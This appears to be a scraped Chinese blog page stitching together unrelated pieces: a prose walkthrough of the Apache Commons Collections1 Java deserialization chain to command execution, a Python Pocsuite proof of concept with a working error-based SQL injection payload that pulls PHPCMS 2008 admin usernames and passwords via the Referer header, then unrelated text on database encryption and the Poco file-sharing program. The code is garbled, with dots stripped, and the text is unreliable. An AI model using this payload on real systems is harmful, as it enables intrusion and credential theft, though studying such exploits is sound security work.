Apache Commons Collections1 反序列化命令执行漏洞

Apache Commons Collections1 反序列化命令执行漏洞,第1张

   当服务器收到序列化对象数据后,会调用对象类的readobject()方法进行反序列化,这里我们构造的恶意序列化对象使用的是AnnotationInvocationHandler类的实例化对象。所以当服务器收到这个对象时会去调用该类的readobject()方法进行反序列化,下面我们跟着上面的触发流程进行一步步触发分析。

结论 :在漏洞触发的第一步中,在反序列化我们向服务器发送的恶意序列化AnnotationInvocationHandler对象时会触发对构造该类对象时传入的Map类型对象的第一个键值对的value进行修改。

   当通过迭代器对象对TransformedMap类型的value值进行修改时会调用AbstractInputCheckedMapDecorator(TransformedMap类的父类并实现了 MapEntry接口)中的内部类MapEntry的setValue()方法,debug运行可以看到thisparent变量值是TransformedMap对象的第一个键值对。

结论 :在漏洞触发的第二步中,触发了TransformedMap的checkSetValue()方法

   可以看到ChainedTransformer对象的transform()方法的功能是将传入的对象交给对象中的thisiTransformers变量引用的对象的transform()方法进行处理。thisiTransformers变量引用的对象从53行可知是对象实例化时传入的,从poc的25行可知我们实例化时传入一个Transformer[]的数组。

结论 :在漏洞触发的第三步中,TransformedMapcheckSetValue()触发ChainedTransformertransform()方法。ChainedTransformertransform()方法将传入的对象经过ChainedTransformer对象中的各个Transformer类型的实例对象调用实例化对象的transform()方法处理。

   由poc 20-25行可知ChainedTransformer对象中的Transformer类型的实例对象分别是ConstantTransformer、InvokerTransformer,首先触发ConstantTransformer对象的transform()方法,可以看出ConstantTransformer对象的transform()方法的功能是将传入的对象转换成实例化ConstantTransformer对象时传入的对象,由poc的21行可知实例化ConstantTransformer对象时传入的对象为javalangRuntimeclass,因此经过ConstantTransformertransform()后传入的参数变成了类对象 javalangRuntimeclass ,再经过InvokerTransformertransform()处理。

   从59-61行可以看出InvokerTransformertransform()功能是通过反射得到传入对象中方法名为thisiMethodName参数类型为thisiParamTypes的方法,并执行该方法传入的方法参数为thisiArgs。而thisiMethodName、thisiParamTypes、thisiArgs三个参数都是我们在实例化InvokerTransformer对象时自定义的,这导致可以进行任意命令执行。

第一次执行InvokerTransformertransform()方法后

第二次执行InvokerTransformertransform()方法后

第三次执行InvokerTransformertransform()方法

结论 :在漏洞触发的第四步中,传入的对象经过1次ConstantTransformertransform()与3次InvokerTransformertransform()转换触发exec()任意命令执行。

ps:jdk版本需要17

汇总下关于安全的几款必备工具:

Burp Suite 是用于攻击web 应用程序的集成平台,>然后来谈谈自己的看法:
其实吧,无论乌云的Tangscan也好,知道创宇的Pocsuite也好,还有Beebeeto也好(Bugscan没写过,不是特别了解不过应该差不多),关于Web的Poc和Exp,都极度依赖于两个Python库。
1 Requests : 模拟Web的请求和响应等交互动作。
2 Re : 正则表达式,用来验证返回的结果是否符合漏洞的预期,从而验证漏洞是否存在。
其余的大部分代码都是漏洞的信息。
Pocsuite官方文档例子:
#!/usr/bin/env python
# coding: utf-8
import re
import urlparse
from t import req
from pocsuitepoc import POCBase, Output
from pocsuiteutils import register
class TestPOC(POCBase):
vulID = '62274' # ssvid
version = '1'
author = ['MediciYan']
vulDate = '2011-11-21'
createDate = '2015-09-23'
updateDate = '2015-09-23'
references = ['']
name = '_62274_phpcms_2008_place_sql_inj_PoC'
appPowerLink = ''
appName = 'PHPCMS'
appVersion = '2008'
vulType = 'SQL Injection'
desc = '''
phpcms 2008 中广告模块,存在参数过滤不严,
导致了sql注入漏洞,如果对方服务器开启了错误显示,可直接利用,
如果关闭了错误显示,可以采用基于时间和错误的盲注
'''
samples = ['']
def _attack(self):
result = {}
vulurl = urlparseurljoin(selfurl, '/data/jsphpid=1')
payload = "1', (SELECT 1 FROM (select count(),concat(floor(rand(0)2),(SELECT concat(char(45,45),username,char(45,45,45),password,char(45,45)) from phpcms_member limit 1))a from information_schematables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = reqget(vulurl, headers=head)
if respstatus_code == 200:
match_result = research(r'Duplicate entry \'1--(+)---(+)--\' for key', respcontent, reI | reM)
if match_result:
result['AdminInfo'] = {}
result['AdminInfo']['Username'] = match_resultgroup(1)
result['AdminInfo']['Password'] = match_resultgroup(2)
return selfparse_attack(result)
def _verify(self):
result = {}
vulurl = urlparseurljoin(selfurl, '/data/jsphpid=1')
payload = "1', (SELECT 1 FROM (select count(),concat(floor(rand(0)2), md5(1))a from information_schematables group by a)b), '0')#"
head = {
'Referer': payload
}
resp = reqget(vulurl, headers=head)
if respstatus_code == 200 and 'c4ca4238a0b923820dcc509a6f75849b' in respcontent:
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = vulurl
result['VerifyInfo']['Payload'] = payload
return selfparse_attack(result)
def parse_attack(self, result):
output = Output(self)
if result:
outputsuccess(result)
else:
outputfail('Internet nothing returned')
return output
register(TestPOC)
可以看到从代码11到28行都是漏洞的一些信息,真正的功能函数只有_attack和_verify两个而已。甚至这个例子有点繁琐了,现在大大们都是把exploit写在verify里面,所以真正起到功能的,也就不到十行的代码。pocsuitenet 这个库其实就是Requests。用Requests模拟手工注入的Post提交,用正则匹配提取和验证必要信息,简单说起来就是这两个步骤。
这么一来你再看看其他的由Python写的Poc和Exp就大同小异了。Poc/Exp总的说来就只是用程序代替手工的过程而已,所以了解了漏洞的原理和认证方法之后就简单了。
代码很简单最主要的,还是对于漏洞的理解。
先说到这里,有空之后再写一些别的。

安华金和数据库加密是个独立于数据库服务器之外的产品,不会影响数据库服务器,理论上只会对调用数据库数据的业务系统有一定的影响,相同条件下,加密算法不同,造成的影响也不同。只能尽可能少的影响,例如只加密关键敏感表等,同时在POC或部署调研时,要充分了解数据库服务器的性能余留,最终还是要与需求者进行细节讨论的~

POC,在电子模型中 POC是Proof of Concept(为观点提供证据)的缩写,在化学名词中它指颗粒有机碳,在通讯技术名词中,POC(PTT Over Cellular)意为无线一键通功能,也称PTT(Push To Talk),而在图像技术中,POC(picture order count)指图像序列号。其中有浩联时代专为中国移动做的移动POC对讲系统。
Poco是国内领先的多媒体资源共享软件,是数联公司网络富集技术的综合应用产品之一。Poco为国内用户及广大华语地区用户提供了一个适合中文环境的文件交换平台,完全支持中文软件及中文关键字搜索并,并实现真正意义上的多点传输,传输效率大大提高。使用Poco软件,不仅能够搜索和下载海量的音乐、影视、、软件、游戏等资源,更可以使用内置的 IM(即时通信)系统方便、快捷的与好友一起分享。着重人性化的设计、充分考虑用户的需求,我们相信Poco将会成为您网络生活中必不可少的工具之一。
Poco的特点:
海量资源 看看你的胃口有多大!目前Poco拥有超过6,000,000M的音乐、**、软件、游戏、、书籍等资源,完全支持中文搜索,符合华语用户的使用需求,是全球华语用户最佳的多媒体资源共享平台!
急速下载!
Poco实现的真正的多点传输功能,彻底打破了传统网络结构对中心服务器效能及带宽的限制,使用的人员越多,传输效率越高,使您真正体会急速下载的快感!
即时通信
是不是觉得下载的过程很乏味呢?没关系,Poco还整合了IM(即时通信)系统,不但能够结识更多的朋友,更可以通过IM的“推荐”功能,将喜爱的资源及时与朋友一起分享,下载过程将会变得充满乐趣!
轻松拥有个性化主页
想马上拥有一个属于您自己的个性化主页么?MyPoco可以满足您的需要。超炫的界面、颜色可随信调配、版面可以自由控制和拖动、无须懂得任何编程语言,MyPoco将会是您展示个人魅力的最佳平台!
Poco2005新版本功能
全新界面,采用流行的DHTML界面。支持多种特效。简约设计风格,特出软件界面空间的利用。傻瓜型的界面引导风格更切合用户习惯,改用最常用的类似网页的导航方式。让用户 *** 作一目了然。
拖动即搜功能,只要在poco浏览器浏览网页时候通过拖动来选定指定的内容,即可看到提示框,选择类型即可搜索。
突出在线功能,高速mp3全面采用流媒体技术,优化搜索技术,做到即搜即播(但由于来源太多,可能要多选定几次,总有惊喜)**采用poco独有的分时下载播放技术,全面解决网络瓶颈


欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zz/13434423.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-08-05
下一篇 2023-08-05

发表评论

登录后才能评论

评论列表(0条)

保存